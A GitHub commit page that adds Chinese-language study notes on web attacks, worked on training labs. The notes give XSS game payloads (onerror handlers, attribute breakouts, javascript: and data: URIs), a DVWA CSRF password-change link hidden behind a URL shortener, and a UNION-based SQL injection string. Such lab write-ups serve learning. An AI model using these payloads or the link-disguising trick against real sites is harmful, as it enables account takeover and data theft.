Skip to content

Commit

Permalink
add docs
Browse files Browse the repository at this point in the history
  • Loading branch information
clover authored and clover committed Sep 7, 2024
1 parent 22fa620 commit 25a3628
Show file tree
Hide file tree
Showing 8 changed files with 128 additions and 0 deletions.
2 changes: 2 additions & 0 deletions _sidebar.md
Original file line number Diff line number Diff line change
Expand Up @@ -85,7 +85,9 @@
- [miniMax](/Interview-experience/front-end/miniMax.md)
- [测试](/Interview-experience/test/index.md)
- [好工具分享](/good-share/index.md)
- [XSS,CSRF,SQL注入](/good-share/XSS,CSRF,SQL注入.md)
- [Yalc(药吃)](/good-share/Yalc(药吃).md)
- [images](/images/index.md)
- [遇到的问题](/issue/index.md)
- [colima](/issue/colima.md)
- [umi](/issue/umi.md)
125 changes: 125 additions & 0 deletions good-share/XSS,CSRF,SQL注入.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
## XSS

> XSS(Cross-Site Scripting)攻击是通过在网页中注入恶意脚本代码,当其他用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而盗取用户信息、篡改网页内容等。
测试: https://xss-game.appspot.com/

这个题目是一个逐渐变难的过程,前面用过的办法,后面都会被过滤掉。



Leve1: 没做任何转义

```html
<script>alert()</script>
```

Leve2: <script></script>标签都被过滤不能生效, 使用其他标签就可以绕过了。

**解法1:**插入一个带有无效 URL 的*图像标记*和一个将执行 JavaScript 警报的onerror属性

```html
<img src='x' onerror='alert()'>
```





Leve3:

```html
问题1:  会截取路由的第一个参数   
chooseTab(unescape(self.location.hash.substr(1)) || "1");

问题2: 通过用单引号关闭src属性来欺骗它,然后像上一关一样添加带有警报函数的onerror属性,并使用双斜杠注释“.jpg”部分
html += "<img src='/static/level3/cloud" + num + ".jpg' />";


解法1:使用:' onerror='alert();//
<img src='/static/level3/cloud1' onerror='alert();//.jpg' />

解法2:'/><sCript>alert();</scrIpt> 因为没有处理大小写还能用script
<img src='/static/level3/cloud1'/><sCript>alert();</scrIpt>.jpg' />
```

Leve4:

```html
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

使用: ');alert();// 相当于让这个函数结束
<img src="/static/loading.gif" onload="startTimer('{{ ');alert();// }}');" />
```

Leve5: confim.html中的值是取自路径信息上的

```html
<a href="{{ next }}">Next >></a> 这个是取自路径信息

使用javascript:alert() 修改路径,然后点击go,在点next
...signup?next=javascript:alert()
```

Leve6: 下面显示的内容是路径信息,就需要对路径做变化

```js
代码里面显示https不让请求资源,把https换成http
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
使用: data:text/plain,alert('xss')
https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
```

### CSRF

> CSRF(Cross-Site Request Forgery)攻击是一种利用用户身份进行未授权操作的攻击方式。攻击者通过诱导用户访问一个恶意网站或点击恶意链接,利用用户在该网站上的会话(如Cookie)向目标网站发送请求,执行一些未授权的操作,如修改个人信息、转账等。
```shell
docker pull vulnerables/web-dvwa
docker run -d --rm --name dvwa -it -p 80:80 vulnerables/web-dvwa /bin/bash


localhost:80
admin;password
```

![image-20240907233808839](./../images/image-20240907233808839.png)

这个是一个修改密码的例子



短链接

https://xiaomark.com/



我们修改密码的链接

http://localhost/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

变成了这个东西

https://sourl.cn/MQkq9G

### SQL注入

![image-20240907234503390](./../images/image-20240907234503390.png)

输入 1' UNION SELECT 1,database() from information_schema.schemata#

提示

```js
ID: 1' UNION SELECT 1,database() from information_schema.schemata#
First name: admin
Surname: admin
ID: 1' UNION SELECT 1,database() from information_schema.schemata#
First name: 1
Surname: dvwa
```
1 change: 1 addition & 0 deletions good-share/index.md
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
- [XSS,CSRF,SQL注入](/good-share/XSS,CSRF,SQL注入.md)
- [Yalc(药吃)](/good-share/Yalc(药吃).md)
Binary file added images/image-20240907233808839.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added images/image-20240907234503390.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file added images/index.md
Empty file.
Binary file removed public/ihui.jpeg
Binary file not shown.
Binary file removed public/mnxj.jpeg
Binary file not shown.

0 comments on commit 25a3628

Please sign in to comment.